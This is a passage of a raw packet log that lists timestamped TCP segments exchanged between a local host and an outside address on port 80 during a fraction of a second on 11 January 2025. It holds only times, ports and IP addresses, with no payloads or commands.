Jan 11, 2025 02:18:19.543165922 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.543179035 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.543194056 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.543229103 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.543236971 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.543262005 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.543297052 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.543306112 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.543369055 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.543404102 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.543436050 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.543469906 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.543505907 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.543606043 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.543606043 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.543606043 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.543617010 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.543658018 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.543693066 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.543705940 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.543728113 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.543761015 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.543775082 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.543797016 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.543831110 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.543840885 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.544001102 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.544034004 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.544054985 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.544066906 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.544101954 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.544110060 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.544138908 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.544173002 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.544187069 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.544286013 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.544318914 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.544331074 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.544369936 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.544403076 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.544419050 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.544435978 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.544481039 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.544531107 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.544581890 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.544615984 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.544625044 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.544698954 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.544732094 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.544739962 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.548369884 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.548429012 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.548439026 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.548461914 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.548518896 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.548806906 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.548850060 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.548902988 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.548903942 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.548938036 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.548971891 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.548985958 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.549006939 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.549042940 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.549052954 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.549077988 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.549129009 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.549171925 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.549195051 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.549211025 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.549226999 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.549228907 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.549242973 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.549259901 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.549277067 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.549299955 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.549479961 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.549491882 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.549503088 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.549515009 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.549525976 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.549537897 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.549542904 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.549570084 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.549586058 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.550822973 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.550952911 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.550968885 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.550981045 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.550997019 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.551023006 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.554932117 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.594599009 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.594640017 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.594650984 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.594686985 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.594700098 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.594715118 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.594820023 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.594820023 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.594820023 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.595009089 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.595031023 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.595043898 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.595055103 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.595068932 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.595081091 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.595087051 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.595110893 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.595125914 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.629059076 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.629095078 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.629147053 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.629183054 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.629199028 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.629214048 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.629245996 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.629255056 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.629281998 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.629292011 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.629311085 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.629349947 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.636432886 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.636471033 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.636507034 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.636569977 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.636684895 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.636718988 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.636734962 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.636760950 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.636805058 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.636815071 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.636848927 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.636882067 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.636894941 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.636917114 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.636960030 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.637526035 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.650770903 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.662902117 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.670455933 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.670488119 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.670507908 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.670522928 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.670571089 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.670592070 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.670643091 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.670679092 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.670691013 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.670707941 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.670753002 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.670758963 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.670793056 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.670826912 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.670840025 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.670861006 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.670902014 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.670905113 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.670933008 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.670965910 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.670993090 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.671000004 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.671042919 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.671145916 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.671178102 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.671214104 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.671220064 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.671243906 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.671278000 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.671286106 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.671330929 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.671365023 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.671392918 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.671430111 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.671463013 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.671474934 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.671494961 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.671528101 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.671539068 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.671561956 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.671592951 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.671605110 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.671627045 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.671675920 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.671736956 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.671771049 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.671804905 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.671814919 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.671886921 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.671921968 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.671941042 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.671953917 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.672003031 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.672045946 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.672096014 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.672130108 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.672136068 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.672163963 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.672198057 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.672214031 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.672230959 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.672266006 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.672281027 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.672293901 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.672341108 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.672678947 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.672713041 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.672746897 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.672758102 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.672780991 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.672815084 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.672830105 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.672849894 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.672882080 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.672892094 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.672915936 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.672950029 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.672960043 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.672983885 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.673017979 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.673032999 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.673052073 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.673089981 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.673216105 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.673249960 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.673283100 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.673294067 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.673316956 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.673348904 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.673361063 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.673382998 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.673418045 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.673429966 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.673453093 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.673485041 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.673775911 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.673811913 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.673845053 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.673856974 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.673878908 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.673913956 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.673929930 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.673947096 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.673979998 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.674004078 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.674015045 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.674048901 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.674057961 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.674082041 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.674115896 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.674124002 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.674153090 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.674187899 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.674201965 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.674221992 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.674254894 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.674264908 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.674288988 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.674333096 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.674684048 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.674735069 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.674768925 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.674779892 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.674803019 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.674835920 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.674849033 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.674870968 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.674904108 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.674911976 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.674937963 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.674972057 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.674978971 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.675005913 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.675038099 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.675045967 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.675071955 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.675106049 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.675118923 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.675139904 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.675174952 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.675189972 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.675208092 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.675240993 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.675251961 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.675276995 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.675358057 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.675569057 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.679492950 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.681346893 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.681401968 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.681413889 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.681432009 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.681473017 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.681483030 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.681520939 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.681569099 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.681574106 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.681606054 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.681639910 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.681652069 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.715909958 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.715945959 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.715981007 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.716003895 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.716017008 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.716043949 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.716051102 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.716120005 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.716130972 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.716171026 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.716213942 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.723704100 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.723788977 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.723818064 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.723846912 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.723902941 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.723937035 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.723954916 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.723988056 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.724020004 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.724039078 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.724054098 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.724121094 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.724149942 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.757256031 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.757287025 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.757297993 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.757308960 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.757317066 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.757322073 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.757342100 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.757356882 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.757457972 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.757471085 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.757493019 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.757503986 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.757505894 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.757548094 CET	49726	80	192.168.2.10	193.143.1.205
Jan 11, 2025 02:18:19.757858038 CET	80	49726	193.143.1.205	192.168.2.10
Jan 11, 2025 02:18:19.757880926 CET	80	49726	193.143.1.205	192.168.2.10
